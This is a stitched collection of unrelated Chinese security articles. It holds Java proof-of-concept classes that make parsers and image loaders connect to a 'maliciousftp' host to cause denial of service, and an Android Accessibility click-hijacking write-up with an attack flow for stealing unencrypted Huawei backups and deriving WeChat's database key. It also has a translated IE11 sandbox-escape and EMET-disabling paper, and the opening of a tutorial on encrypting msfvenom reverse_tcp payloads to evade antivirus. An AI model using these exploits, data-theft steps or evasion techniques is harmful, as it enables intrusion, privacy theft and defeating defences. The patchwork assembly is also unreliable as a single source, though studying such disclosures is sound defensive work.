e.printStackTrace();
}
}
}
**3.3 javax.xml.validation.Schema PoC代码**
import java.net.MalformedURLException;
import java.net.URL;
import javax.xml.validation.Schema;
import javax.xml.validation.SchemaFactory;
import org.xml.sax.SAXException;
public class NSchema {
public static void main(String[] args) {
SchemaFactory schemaFactory =
SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema");
URL url;
try {
url = new URL("ftp://maliciousftp:2121/schema");
try {
Schema schemaGrammar = schemaFactory.newSchema(url);
} catch (SAXException e) {
e.printStackTrace();
}
} catch (MalformedURLException e) {
e.printStackTrace();
}
}
}
**3.4 javax.xml.JAXBContext PoC代码**
import java.net.MalformedURLException;
import java.net.URL;
import javax.xml.bind.JAXBContext;
import javax.xml.bind.JAXBException;
import javax.xml.bind.Unmarshaller;
public class UnMarsh {
public static void main(String[] args) {
JAXBContext jaxbContext = null;
try {
jaxbContext = JAXBContext.newInstance();
} catch (JAXBException e) {
e.printStackTrace();
}
URL url = null;
try {
url = new URL("ftp://maliciousftp:2121/test");
} catch (MalformedURLException e) {
e.printStackTrace();
}
Unmarshaller jaxbUnmarshaller = null;
try {
jaxbUnmarshaller = jaxbContext.createUnmarshaller();
} catch (JAXBException e) {
e.printStackTrace();
}
try {
Object test = jaxbUnmarshaller.unmarshal(url);
} catch (JAXBException e) {
e.printStackTrace();
}
}
}
**3.5 java.net.JarURLConnection PoC代码**
import java.io.IOException;
import java.net.JarURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.jar.Manifest;
public class JavaUrl {
public static void main(String[] args) {
URL url = null;
try {
url = new URL("jar:ftp://maliciousftp:2121/duke.jar!/");
} catch (MalformedURLException e) {
e.printStackTrace();
}
JarURLConnection jarConnection = null;
try {
jarConnection = (JarURLConnection) url.openConnection();
jarConnection.setConnectTimeout(5000);
jarConnection.setReadTimeout(5000);
} catch (IOException e1) {
e1.printStackTrace();
}
try {
Manifest manifest = jarConnection.getManifest();
} catch (IOException e) {
e.printStackTrace();
}
}
}
**3.6 javax.imageio.ImageIO PoC代码**
import java.awt.Image;
import java.io.IOException;
import java.net.URL;
import javax.imageio.ImageIO;
import javax.swing.ImageIcon;
import javax.swing.JFrame;
import javax.swing.JLabel;
public class ImageReader {
public static void main(String[] args) {
Image image = null;
try {
URL url = new URL("ftp://maliciousftp:2121/test.jpg");
image = ImageIO.read(url);
} catch (IOException e) {
e.printStackTrace();
}
JFrame frame = new JFrame();
frame.setSize(300, 300);
JLabel label = new JLabel(new ImageIcon(image));
frame.add(label);
frame.setVisible(true);
}
}
**3.7 javax.swing.ImageIcon PoC代码**
import java.net.MalformedURLException;
import java.net.URL;
import javax.swing.ImageIcon;
public class ImageXcon {
public static void main(String[] args) {
URL imgURL;
try {
imgURL = new URL("ftp://maliciousftp:2121/test");
String description = "";
ImageIcon icon = new ImageIcon(imgURL, description);
} catch (MalformedURLException e) {
e.printStackTrace();
}
}
}
**3.8 javax.swing.text.html.StyleSheet PoC代码**
import java.net.MalformedURLException;
import java.net.URL;
import javax.swing.text.html.StyleSheet;
public class ImportStyla {
public static void main(String[] args) {
StyleSheet cs = new StyleSheet();
URL url;
try {
url = new URL("ftp://maliciousftp:2121/test");
cs.importStyleSheet(url);
} catch (MalformedURLException e) {
e.printStackTrace();
}
}
}
**四、java.net.URLConnection并发型拒绝服务漏洞**
当使用java.net.URLConnection来获取FTP服务器上的某个文件时，如果不指定连接超时（Connection
Timeout）时间，那么就会存在线程并发型拒绝服务漏洞。
存在漏洞的函数为：
javax.xml.parsers.SAXParser
javax.xml.parsers.SAXParserFactory
org.dom4j.Document
org.dom4j.io.SAXReader
javax.xml.parsers.DocumentBuilder
javax.xml.parsers.DocumentBuilderFactory
Apache
Xerces中的com.sun.org.apache.xerces.internal.impl.XMLEntityManager.class是这一问题的根本原因所在。
在这种情况下，XMLEntityManager.class没有明确设置连接对象的连接超时时间，因此Java会将该时间设置为默认值（-1），这样一来就会满足拒绝服务条件，具体细节如下所述。
比如，服务器在如下示例代码中，利用Apache Xerces库来获取FTP服务器上的某个XML文件：
[snip]
private void parseXmlFile() {
//get the factory
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
try {
//Using factory get an instance of document builder
DocumentBuilder db = dbf.newDocumentBuilder();
//parse using builder to get DOM representation of the XML file
dom = db.parse("ftp://maliciousftpserver/test.xml"); // <- FTP URL controlled by the attacker
} catch (ParserConfigurationException pce) {
pce.printStackTrace();
} catch (SAXException se) {
se.printStackTrace();
} catch (IOException ioe) {
ioe.printStackTrace();
}
}
[snip]
**4.1 SAXParser PoC代码**
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser saxParser = factory.newSAXParser();
UserHandler userhandler = new UserHandler();
saxParser.parse("ftp://badftpserver:2121/whatever.xml”)
**4.2 DOM4J/SAXReader PoC代码**
SAXReader reader = new SAXReader();
Document document = reader.read( "ftp://badftpserver:2121/whatever.xml" );
**4.3 JAVAX XML Parsers PoC代码**
DocumentBuilder db = dbf.newDocumentBuilder();
dom = db.parse("ftp://badftpserver:2121/whatever.xml"); | 社区文章 |
# Android Accessibility点击劫持攻防
##### 译文声明
本文是翻译文章，文章原作者 瘦蛟舞@小米安全，文章来源：xiaomi.com
原文地址：<https://sec.xiaomi.com/article/36>
译文仅供参考，具体内容表达以及含义原文为准。
作者：瘦蛟舞@小米安全
## 0x00 快手互粉劫持事件
此文章源于一起Accessibility模拟点击劫持.
补刀小视频和快手互为竞品应用,目标群体类似.而快手用户量级明显多于补刀.快手很多用户有互粉需求,于是补刀小视频开发了快手互粉助手来吸引快手用户安装.互粉助手这个功能主要是利用Accessibility.
之前接触Android辅助功能AccessibilityService模拟点击都是用于诸如应用市场的免root自动安装功能或者红包助手自动抢红包功能,另外还有一些恶意软件会使用这个特性.
此次用于劫持其他App达到推广自身的目的倒是令人感到好奇于是分析了一下写出此文.供以后有类似场景需求的做参考.
劫持男猪脚补刀小视频利用Android模拟点击的接口做了一个快手互粉的功能,下面先分析一下补刀APP是如何完成此功能的.
互粉功能入口com.yy.budao/.ui.tools.AddFansWebActivity
AccessbilityService辅助功能的授权需要用户手动去完成.(通过一些Android系统漏洞可以绕过此步骤)
通过快手的scheme伪协议kwai://profile/uid启动到需要互粉用户的个人界面
08-14 10:29:03.869 893-3614/? I/ActivityManager: START u0
{act=android.intent.action.VIEW dat=kwai://profile/18070291
pkg=com.smile.gifmaker
cmp=com.smile.gifmaker/com.yxcorp.gifshow.activity.ProfileActivity} from pid
1198
08-14 10:29:03.989 893-917/? I/ActivityManager: Displayed
com.smile.gifmaker/com.yxcorp.gifshow.activity.ProfileActivity: +106ms
adb手动验证一下adb shell am start -n
com.smile.gifmaker/com.yxcorp.gifshow.activity.ProfileActivity -d
kwai://profile/18070291
最后由辅助功能完成模拟点击关注
补刀APP对快手APP的Activity和VIEW相关信息提取
0x0010即是辅助功能的点击事件AccessibilityAction#ACTION_CLICK
快手个人信息展示页ProfileActivity中的View.
APP遇到这种劫持通常想到的解决方法有两种选择:
* 不导出被劫持启动的Activity,但是快手这里确实需要导出给正常APP如微信打开以提升用户体验.
* 通过申明permission保护Activity,但是如果级别为dangerous劫持者同样可以申明此permission,级别为signature又与微信签名不同不能实现.
下图为微信分享的快手个人主页
所以现在有两个防御思路三个方案来解决此问题.
* 阻止辅助功能模拟点击
* 方案零:重写View类的performAccessibilityAction方法或者设置AccessibilityDelegate,过滤掉AccessibilityNodeInfo.ACTION_CLICK 和 AccessibilityNodeInfo.ACTION_LONG_CLICK等事件.如果不考虑视觉障碍用户可以过滤掉全部AccessibilityNodeInfo事件来完全禁止AccessibilityService对app内view的管控.
* 阻止补刀小视频启动快手导出的ProfileActivity.也就是进行Activity发起方的身份认证.
* 方案一:Referrer检测,通过反射拿到mReferrer即调用方包名再验证签名.
* 方案二:Service中转,通过bindService的导出方法拿到调用方uid,再通过uid获取待验证的包名和签名.
从安全性来看方案二较好,就快手此例的业务切合度来看结合方案零和方案一比较合理.
## 0x01 方案零:重写performAccessibilityAction
方案利弊:
* 兼容全版本android手机(泛指API14+)
* 不需要正常Activity调用方(比如微信微博浏览器)做改动
* 有被绕过可能,劫持者只需要单独将点击事件剔除整个自动互粉流程,让点击关注由用户完成即可.补刀APP主要负责启动快手个人用户界面ProfileActivity以及监控关注动作是否完成.
重写performAccessibilityAction方法,忽略AccessibilityService传来的事件.让模拟点击失效.
1. 重写View类代码
2.为View设置AccessibilityDelegate
example
## 0x02 方案一:Referrer检测
方案利弊:
* 仅支持android5.1以及更高版本android手机.
* 不需要Activity正常调用方做改动.
* 可以绕过,Referrer本质不可信.
* 通过反射或者 hook 操作自身进程内的 ContextWrapper / ContextImpl关于packageName的Method和Field.
* 劫持者可以结合Accessbility 或者 URL scheme通过浏览器中转一次,从而以浏览器的Referrer启动ProfileActivity.
送分姿势1:getCallingPackage()
Activity自带的getCallingPackage()是可以获取调用方包名的,但是此法只限调用方执行的是startActivityForResult(),如果执行的是startActivity()得到的结果将是null.
这里无法限制调用方执行何种方法,所以行不通.
送分姿势2:getReferrer()
上图getReferrer()有三个return Referrer的调用,谷歌确把相对可靠一点的放在最后,应该是为了更高的可用性..
API 22也就是Android
5.1开始支持getReferrer()方法,通过getReferrer()得到的uri即是调用者的身份.但是前提是调用方没有使用
intent.putExtra(Intent.EXTRA_REFERRER,Uri.parse("android-app://mi.bbbbbbbb"));
intent.putExtra(Intent.EXTRA_REFERRER_NAME, "android-app://mi.ccccccc");
@Override
public Uri onProvideReferrer() {
super.onProvideReferrer();
Uri uri = Uri.parse("android-app://mi.aaaaaaaaa");
return uri;
}
也就是说getReferrer()得到的值是可以被伪造的不是安全可靠的功能不可信,谷歌API里也提示了这点.
从代码中看来getReferrer()本质也是intent操作,只不过由系统隐藏完成.所以调用再次执行putExtra操作即可覆盖之前EXTRA_REFERRER_NAME.
送分姿势3:通过反射拿到Field mReferrer
此法解决了前面提到的Referrer被伪造的问题,但是并不能解决Referrer不可信的本质.
关键代码如下
demo app 效果如下
mReferrer赋值依赖调起方传入的参数,所以也是能伪造的,只是伪造相对前两种姿势要麻烦一点.通过反射或者 hook 操作自身进程内的
ContextWrapper / ContextImpl 关于packageName的Method和Field.
## 0x03 方案二:Service中转
方案利弊:
* 支持全版本android手机
* 安全性较好,难被绕过
* 需要Activity正常调用方做改动,由startActivity改为bindService
因为Intent并不直接携带身份信息,所以无法通过startActivity所传的Intent直接验证调用方身份.而Bound
service可以通过Binder的getCallingUid得知调用方uid,再通过PMS拿到uid对应的包名和应用签名.所以可以通过service中转一下完成身份认证这个需求,将Activity不导出转而导出Sevice,再service中完成包名和签名的黑白名单验证后再决定是否启动相关Activity.即完成了身份验证.
关键代码如下
## 0x04 demo代码
https://github.com/WooyunDota/StartActivityCheck
## 0x05 延展攻击Android手机
Accessibility既然可以用来攻击竞品APP,那么攻击Android手机也可以的,这里以华为手机本地备份举例.
华为手机可以本地备份的数据有:
* 通讯录
* 多媒体数据
* 相机照片
* 相机视频
* 录音
* 应用及数据
* 微信
* 微博
* …..
* 系统数据
* 短信记录
* 通话记录
* 日历日程
* 备忘录
* 闹钟
* WIFI密码
* 浏览器数钱
* ….
这就意味着我们通过Accessbility模拟点击窃取备份文件的话就可以得到以上数据.
如果不慎中招意味着几乎将手机上所有数据拱手送人.
攻击流程:
1. 检测/sdcard/HuaweiBackup/backupFiles是否有用户自己完成的历史无加密备份可用(另外一个目录backupFiles1为加密备份).
2. 诱导用户获取Accessbility权限,从快手互粉/自动抢红包/免root安装这些需求来看这个攻击条件达成的难度并不高.
1. 可以利用overlay攻击(CVE-2017-0752)来获取Accessbility权限.
2. 也可以利用比如”华为wifi密码查看器”这类功能引诱用户开启权限.
3. 检测空闲,检测屏幕状态,采集陀螺仪/加速度传感器.减少用户对模拟点击的感知.
4. 利用辅助功能模拟点击完成无加密备份.开始备份后切换到后台减少感知.
5. 从sdcard中窃取无加密的备份数据.
攻击场景分两种:
1.恶意应用,获取机主隐私数据,比如wifi密码,通信录,短信等数据.对应无设备锁检测的app甚至可以直接利用其备份数据登录app.对于有设备检测的app则需要进一步绕过利用,比如微信的聊天记录需要单独再次解密.
2.接触手机,绕过如沙箱保护/应用锁等限制获取数据.比如拿到其公司wifi密码登录内网.
做几个demo
1. 查看wifi密码
2.以微信数据为例,恶意APP可以通过此方式突破沙箱限制获取微信内的数据.接触手机的人也可以绕过应用锁查看微信聊天记录
既然华为拿了微信的数据,那么解密肯定不是问题.
微信的聊天记录存储在EnMicroMsg.db中
加密的秘钥为(手机IMEI + 微信uin)取MD5的前7位小写.
华为存储备份文件的方式,记录文件路径和File_index索引
再将索引对应的大文件进行拆分存储.
根据file_index拼接处完整EnMicroMsg.db. 在从shared_prefs中检索出uin得到db的解密秘钥.即可查看聊天记录.
获取IMEI的文件,从shared_prefs中拿IMEI有两个好处1.不用考虑双卡问题,2.不用申请READ_PHONE_STATE权限.
demoGIF
以上问题均已提前告知相关厂商,厂商回复以及相关进度如下:
2017-09-11 通知华为PSIRT
2017-12-13 华为致谢修复漏洞
## 0x06 参考
https://stackoverflow.com/questions/15723797/android-prevent-talkback-from-announcing-textview-title-aloud
https://stackoverflow.com/questions/5383401/android-inject-events-permission
http://blog.csdn.net/alan480/article/details/52223920
http://blog.csdn.net/u013553529/article/details/53856800
http://www.jianshu.com/p/ea38d4370703 | 社区文章 |
译者： **xd0ol1 (知道创宇404安全实验室)**
原文链接：<https://labs.bluefrostsecurity.de/files/Look_Mom_I_Dont_Use_Shellcode-WP.pdf>
接[上篇](http://paper.seebug.org/189/)，这里为后3部分的翻译，不对之处还望多多指正。
### 4 沙箱逃逸
默认情况下，Windows 10系统中的Internet Explorer
11并未启用增强保护模式（EPM），而我们的目标是要在最高级别的安全设置下进行漏洞利用，因此在设置中我们手动启用增强保护模式和增强保护模式的64位进程这两项。
在完成上述更改后，我们的payload将在受限的AppContainer沙箱中运行。为了能对系统进行更改，我们需要找到一种突破沙箱的方式，这样才能以更高的Integrity
Level（Medium IL或以上）来执行代码。
#### 4.1 关于Internet Explorer里的Zone
在Internet Explorer中有个zone的概念，不同的安全设置对应于不同的zone，其中，Internet上的页面通常在Internet
Zone里进行渲染，而本地内网上的页面则在Local Intranet Zone里进行渲染。
这里需要注意一点，即便你手动启用了EPM，但Local Intranet Zone中却不会启用EPM，也就意味着在Local Intranet
Zone里渲染的网页是由沙箱外的32位Medium IL进程来加载的。
此性质已是人尽皆知了，过去也曾被多次用于绕过Internet
Explorer下的保护模式[9][10]。这些攻击首先会从沙箱进程内启用一个本地Web服务，然后让浏览器访问http://localhost/并再次执行这个exploit，此时页面渲染就会由沙箱外的Medium
IL进程来完成。
但是微软并不决定修复这个问题，而是建议用户启用EPM来防止沙箱逃逸[11]。启用EPM后，渲染过程将在拥有网络隔离功能的AppContainer沙箱内运行[12]，特别的，它能阻止沙箱进程和本地机器建立连接并且阻止它接受新的网络连接，这就成功解决了前面所描述的攻击形式。
另一方面，在执行这种攻击时，我们可以不必局限于localhost域名，如果我们能设法将被认为是Local Intranet
Zone中的域名解析到外部的Web服务器地址，那么我们还是能在AppContainer沙箱外以Medium IL进行页面的渲染。Internet
Explorer基于许多规则来判断站点是否属于Local Intranet
Zone[13]，其中有个PlainHostName规则，也就是如果域名中不包含任何句点，那么它将被自动映射到Local Intranet Zone上。
所以问题就变成如何在沙箱进程内注册一个不含任何句点的且解析到外部IP地址的域名信息，事实证明这能通过本地NetBIOS Spoofing技术来实现。
#### 4.2 NetBIOS Spoofing
NetBIOS Name Service (NBNS)
协议是Windows系统上进行名称解析的UDP广播协议。通常程序在进行域名解析时会用到DNS协议，但如果由于某些原因导致DNS查询失败，那么系统就会尝试使用NBNS协议来进行解析。
而NetBIOS Spoofing则是一种常见的网络攻击方式，当然，在Hot Potato
Exploit[14]中它也被用来进行Windows系统的本地权限提升。
另外注意一点，NBNS数据包中的Transaction
ID（TXID）字段将用于保证请求包和响应包的正确匹配，其中，域名“BLUEFROST”对应的NBNS请求包如下：
在典型的NBNS
Spoofing期间，攻击者将响应本地网络上接收到的任何NBNS请求，由于此过程中初始的NBNS请求包信息是不可见的，因此我们无法获知使用的16位TXID，但是我们可以通过快速迭代来遍历可能的65536个TXID值，并最终猜测出正确结果。
正如前面所述，AppContainer的网络隔离功能将阻止沙箱进程向本地机器发送数据包，但事实证明这个规则是有例外情况的，比如沙箱进程仍然能向本地的137端口发送UDP数据，这就使得在沙箱进程内进行本地NBNS
Spoofing成为可能。
因此，我们首先借助本地NBNS
Spoofing注册一个不含任何句点且解析到我们外部Web服务器IP的域名信息。之后，我们通过浏览器访问新注册的域名，即我们的Web服务器，虽然此Web服务器位于Internet上的某个地方，但渲染的页面现在却被认为是位于Local
Intranet Zone中的，因此渲染进程将会在沙箱外运行。而后，我们再次触发exploit，这次就会由沙箱外的32位渲染进程以Medium
IL来执行代码。
上面的截图显示我们成功在沙箱外以Medium IL创建了一个新的notepad.exe进程。
### 5 禁用EMET保护
对于特定EMET保护的绕过或直接完全禁用EMET的研究在过去已经有很多了，相关文章的链接可在FireEye的最新博文“Using EMET to
Disable EMET”[15]中找到。
但是，不同于之前的大部分技术，在我们的exploit中进行EMET绕过时，我们并没有执行代码的能力。因此如前面提到的FireEye文章中那些依赖于执行特定ROP代码以禁用EMET保护的技术，虽优雅，然却不适用于我们的情况。
不过，我们却拥有强大的内存读写能力，我们可以借此来尝试绕过特定的EMET保护或者将其完全禁用掉。
在本部分中，我们将看下EMET针对我们的exploit所用到的保护技术以及我们如何成功绕过最新的EMET 5.5版本。
另外，下述的分析都是基于的EMET64.dll 5.5.5870.0版本。
#### 5.1 Attack Surface Reduction (ASR)
我们在EMET 5.5启用的情况下执行exploit，EMET会检测到威胁并将其阻止，给出的警告为“ASR check
failed”。更多详细信息可在事件日志中找到：
对于EMET中的ASR保护，它可阻止有潜在风险的特定模块或插件的加载。
当我们试图实例化WScript.Shell（wshom.ocx）时，由于此控件在ASR的黑名单中，所以EMET将会停止exploit的运行。我们知道EMET是通过hook
LoadLibraryEx函数来检测控件加载的，为了快速验证ASR是否为阻止exploit执行的唯一保护措施，我们在调试器中动态对kernelbase!LoadLibraryEx*函数进行patch来临时去掉相应的hook，此时，再次执行exploit，这次很顺利，利用是可以成功的，也就意味着在我们的情况中只需绕过ASR保护即可。
现在我们就需要在exploit运行时找到一种借助内存读写来及时禁止ASR检查的方法。
如果我们从被hook的kernelbase!LoadLibraryExW函数开始跟起，那么最终会来到sub_1800864F0这个函数，它做的第一件事就是读取存储在EMET64.dll模块内偏移136800处的全局变量。
该读取值是一编码后的指针，由上图可知它需要通过DecodePointer函数进行解码，然后从该解码指针的0x28偏移处读取另一指针，最后再取偏移0x0处的flag值与0进行比较，如果flag值为0，那么后面所有关于LoadLibrary的检查都将被绕过。
其中，全局指针通过EncodePointer函数中使用的每个进程都不同的secret值来进行保护，而位于0x28偏移处的指针存储在堆中，我们不知道其具体分配的地址，并且存储最终flag值的内存空间会被映射到只读页上，这些都在Offensive
Security的博文中[16]有详细描述。
由于我们并不拥有执行任意代码的能力，也就无法使用诸如ROP链的方式来禁用或者绕过任何保护。我们需要找到一种仅通过读写内存就能禁用EMET的方法，因此，我们接下去的精力主要放在使用EncodePointer和DecodePointer函数进行保护的全局指针上。
#### 5.2 指针的解码
首先让我们看下EncodePointer和DecodePointer函数是如何实现的，下图为ntdll.dll模块中的RtlDecodePointer函数：
可以知道这两个函数最终都调用了ntdll!ZwQueryInformationProcess，并将内核返回的32位数作为secret值用于指针的编码或解码。但由于secret值并不保存到内存中的具体位置，也就意味着我们不能单纯通过读内存来获取它进而来对指针进行手动解码，因此接下来考虑如何获取这个secret值。
以下伪代码表示的是EncodePointer函数所执行的操作：
encoded_ptr = (secret ^ plain_ptr) >> (secret & 0x3f)
相应DecodePointer函数执行的操作如下：
plain_ptr = secret ^ (encoded_ptr >> (0x40 - (secret & 0x3f)))
其中，运算符>>表示循环右移。由于secret值的低字节会影响计算结果右移的比特数，所以我们不能直接通过异或编码指针(encoded_ptr)和相应明文指针(plain_ptr)的方式来得到secret值。
但是，我们可以很容易对secret值进行暴力破解，因为对于右移操作最多只有0x3f种可能。因此，我们将遍历从0到0x3f的所有可能情况，先对编码指针执行右移操作，然后再将结果与相应的明文指针进行异或，这样我们就会得到一个可能的secret值。此算法的伪代码如下：
for (var i = 0; i < 0x3f; i++) {
var k = (encoded_ptr >> (0x40 - (i & 0x3f))) ^ plain_ptr;
if (encode_ptr(plain_ptr, k) == encoded_ptr) {
/* Found potential secret key k */
}
}
最终我们将猜出正确的secret值。但是，由于不同secret值对同一指针的编码仍可能得到相同的编码指针，因此对单独的明文指针和编码指针组合，可能会返回多个正确的secret值。并且相较64位进程，这种影响在32位进程中则更加明显。
为了提高猜测secret值的准确性，至少需要使用两对已知的编码指针和明文指针组合。我们通过其中一对指针来暴力破解可能的secret值，然后使用第二对指针做验证，只需将其中的明文指针用可能的secret值编码，再将结果与已知的编码指针比较即可。这样，我们就将secret值的碰撞降到了可接受的水平。
#### 5.3 查找指针对
让我们看下能否在EMET模块内找到通过读内存就能获取的已知编码指针和明文指针的组合。
如果你查看过emet64.dll内所有的EncodePointer调用，那么你会注意到，其中有次初始调用是发生在sub_180048110函数中的，如下图：
可以看到，此函数对NULL指针进行了编码，结果保存在函数第一个入参指向的地址，该函数被调用的其中一个地方是在函数sub_1800204B0内，如下所示：
其中，Ptr是EMET64模块的.data段中偏移量为0x135b80处的全局变量。
通过快速的调试查看可以知道，当EMET进行ASR检查时，该位置仍然保存着NULL指针的编码结果。因此我们找到了所需的第一对指针。
通过查看sub_180081038函数我们可以找到另一对编码指针和明文指针的组合。
此函数将对第一个入参指针进行编码，并且仅有一处被调用的地方，相应参数为函数sub_180080B40的地址。如下所示：
该函数指针编码后的结果保存在EMET64+1362a0起偏移为EMET64+0x135320相应值乘8的地址处。我们可以很容易在内存中读取这些值，从而得到第二对已知的编码指针和明文指针组合。
因此，这将使得我们可以解码iexplore.exe进程中的所有编码指针。我们不仅提供了一种禁用ASR保护的通用方法，而且该方法还可用于完全消除EMET保护的任何进程中基于EncodePointer和DecodePointer函数实现的那些保护（假设你已具有读取任意内存和获取EMET模块基址的能力）。
#### 5.4 泄漏EMET模块基址
这里我们将借助EMET中已知的几个被hook函数，其中包括了ntdll.dll模块中的NtProtectVirtualMemory函数。我们首先通过读取jscript9.dll导入表中的RtlCaptureContext函数地址来泄漏ntdll.dll模块基址，然后我们接着看下NtProtectVirtualMemory函数开头的这几条指令。
很显然，通过检查前几字节，我们就可以确定当前进程是否受到EMET保护。为了泄漏EMET模块的基址，我们跟下EMET启用时最开始的这两条jmp指令，最终可以看到如下所示的这条指令，它将EMET64.dll模块内的偏移量赋值给了一个寄存器：
通过这条寄存器赋值指令，我们就可以计算出EMET模块的基址。
#### 5.5 禁用ASR保护
既然我们能得到EMET模块的基址且拥有解码被保护指针的能力，那么很自然的想法就是将校验的flag值置为0以绕过ASR保护。但是，正如前面所述，该flag值存储的页面是只读的，因此我们转而替换指向此页面的指针。
所以，在泄露EMET模块的基址后，我们先按照前面的方法计算出EncodePointer/DecodePointer保护中所使用的secret值。而后借助该secret值，我们对EMET64.dll模块内偏移0x136800处的全局指针进行解码，最后使用指向NULL的指针来覆盖其中偏移量0x28处的指针。此处用到的覆盖值为EMET64+0x110ef8，它指向EMET64.dll模块.rdata段中的NULL值。
经过这么处理后，我们可以成功绕过ASR保护，进而执行我们的exploit。如果需要，也可以使用同样的方法来禁用其它的EMET保护技术。
### 6 结语
本文详细描述了利用我们发现的一个关于Internet Explorer
11中JavaScript实现方面的漏洞来进行exploit开发的完整过程。其中，我们阐述了许多现有的诸如DEP或CFG这样的漏洞利用保护措施就算不借助传统的ROP代码和shellcode也是可以实现轻松绕过的，只要我们能将漏洞转换成对任意内存空间的读写就可以了，之后再通过浏览器中已有的功能来执行系统命令，同时，我们还分析了如何仅通过写一个null字节就可在最新的Internet
Explorer 11版本中实现这种方式的攻击。
接下去我们给出了一种借助本地NetBIOS Spoofing进行Internet
Explorer中EPM绕过的新方法，我们详述了即便在开启EPM的情况下，利用之前的Local Intranet Zone方式还是可以实现Internet
Explorer沙箱逃逸。
最后，我们讨论了最新的EMET
5.5版本是如何被绕过的以及我们如何通过计算secret值的方式来消除EMET中使用的EcodePointer保护。当然，所讨论的这些方法不仅可以用于禁用ASR保护，而且还可用于消除EMET保护的进程中基于EncodePointer和DecodePointer函数实现的那些缓解措施。
这里所有提到的漏洞和技术都作为Mitigation Bypass Bounty项目提交的一部分报告给了微软。其中，第2部分描述的Typed Array
Neutering漏洞（CVE-2016-3210）已在MS16-063中修复，有趣的是，Edge的ChakraCore引擎自发布时就修复了同样的漏洞。
3.6节中描述的借助null字节开启上帝模式的技术（CVE-2016-0188）则在MS16-051中得到了修复，微软通过引入QueryProtectedPolicy函数来缓解此问题。
而第4部分描述的通过本地NetBIOS Spoofing实现EPM下的沙箱逃逸技术（CVE-2016-3213）在MS16-077中也得到了修复。
但最后第5部分介绍的EMET绕过技术尚未被修复，而且微软目前也没有计划去解决此问题。
总体来说，伴随着当前Windows系统中漏洞利用保护措施不断增长的数目以及稳定性的提升，exploit的开发成本被大幅增加了。但是，如果借助合适的漏洞，那么许多保护仍然是可以被绕过的，所缺乏的仅仅是想象力和创造性。
例如文中所述的data-only
attacks，它就允许攻击者绕过许多的保护措施，虽然微软已经开始着手进行一些修复，但我们预计这种利用方式在未来会变得更加常见。
### 7 参考
[9] Verizon, "Escaping from Microsoft’s Protected Mode Internet Explorer":
<https://www.exploit-db.com/docs/15672.pdf>
[10] Zero Day Initiative, "There’s No Place Like Localhost: A Welcoming Front
Door To Medium Integrity, HP Security Research":
<http://community.hpe.com/t5/Security-Research/There-s-No-Place-Like-Localhost-A-Welcoming-Front-Door-To-Medium/ba-p/6560786>
[11] Zero Day Initiative, "(0Day) (Pwn2Own\Pwn4Fun) Microsoft Internet
Explorer localhost Protected Mode Bypass Vulnerability":
<http://www.zerodayinitiative.com/advisories/ZDI-14-270/>
[12] M. V. Yason, "Diving Into IE 10’s Enhanced Protected Mode Sandbox":
<https://www.blackhat.com/docs/asia-14/materials/Yason/WP-Asia-14-Yason-Diving-Into-IE10s-Enhanced-Protected-Mode-Sandbox.pdf>
[13] Microsoft, "IEInternals: The Intranet Zone":
<http://blogs.msdn.com/b/ieinternals/archive/2012/06/05/the-local-intranet-security-zone.aspx>
[14] FoxGlove Security, "Hot Potato Windows Privilege Escalation Exploit":
<http://foxglovesecurity.com/2016/01/16/hot-potato>
[15] FireEye, "Using EMET to Disable EMET":
<https://www.fireeye.com/blog/threat-research/2016/02/using_emet_to_disabl.html>
[16] Offensive Security, "Disarming and Bypassing EMET 5.1":
<https://www.offensive-security.com/vulndev/disarming-and-bypassing-emet-5-1/>
* * * | 社区文章 |
# 【技术分享】如何使用C#加密攻击载荷来绕过杀毒软件
|
##### 译文声明
本文是翻译文章，文章来源：linkedin.com
原文地址：<https://www.linkedin.com/pulse/bypass-all-anti-viruses-encrypted-payloads-c-damon-mohammadbagher>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：130RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**一、前言**
曾经有人问过我，如何绕过所有的杀毒软件？
我的回答是：非常简单。但这是一种秘密技术，大多数渗透测试者或黑客永远都不会与他人共享。他们与我一样有各种各样的理由，但最大的原因在于，一旦技术公开，杀软公司很快就会检测并封杀这种技术。在本文中，我想跟大家分享一种C#编程及加密方法，可以绕过所有杀软。
在介绍具体细节之前，我想先提供一下本文用到的C#源代码。
[http://github.com/DamonMohammadbagher/NativePayloadReversetcp](http://github.com/DamonMohammadbagher/NativePayload_Reverse_tcp)
如果你对渗透测试、Kali
Linux以及Metasploit后门载荷比较熟悉，你也掌握一定的编程技术，那么阅读本文后，你可以在互联网上找到更多源代码完成这一任务。
首先：你需要了解反病毒软件以及基于特征的应用（如反病毒软件）。
其次：你需要了解基于Linux的系统以及用于渗透测试的Kali Linux或其他Linux操作系统。
最后：你需要了解Windows编程技术，本文中为C# .Net编程技术。
在本文中，我主要介绍的是C#编程技术，受篇幅所限，我无法在一篇文章里面面面俱到。
请记住：想要绕过安全防御工具（如反病毒软件或者防火墙）的每个渗透测试团队或者红队都需要了解如何在Layer
7层（即应用层）绕过这些应用，这一点在Whitehat或者渗透测试项目、黑帽攻击中非常重要，如果你的团队或者你个人掌握多种杀软绕过技术，显然就掌握足够的先机。另外我想强调的是，这一点实现起来并不困难。
**
**
**二、技术细节**
这一部分我会向大家介绍如何一步一步使用C#加密载荷绕过反病毒软件。
**步骤1：**
我在Kali
Linux里面制作了一个C类型的后门载荷，其十六进制格式如下图所示。之所以使用“reverse_tcp（反弹型tcp）”载荷，原因在于这种载荷最容易绕过禁止入站连接的防火墙。
**步骤2：**
你应该使用“异或（XOR）”算法或其他加密算法，至少完成一次载荷加密。
比如，我写了个简单的C#应用，使用加密算法来完成加密，类似的源码还有非常多，我们不用担心代码源。
如上图所示，我使用VS.NET 2015来开发C#代码，但所有版本的VS.NET都支持这一代码。
上图中，你会发现一个名为payload.txt的文本文件，这个文件就是我在步骤1中使用msfvenom工具生成的载荷。
在步骤2中，你应该使用payload.txt文件中的内容替换代码中的载荷变量{0xfc , ….}。
**步骤3：**
程序的输出如下图所示，加密后的载荷也会一同输出。
如上图所示，我们的加密载荷开头为“217,119,88….,82,12,210”。现在我们手头上已经有一个加密载荷，你可以在backdoor.exe文件中放心使用这个载荷，因为反病毒软件无法检测这种载荷，只有你掌握了加密或解密载荷的密钥。
**步骤4：**
现在我们需要一段C#代码来在目标主机上执行这段加密载荷。
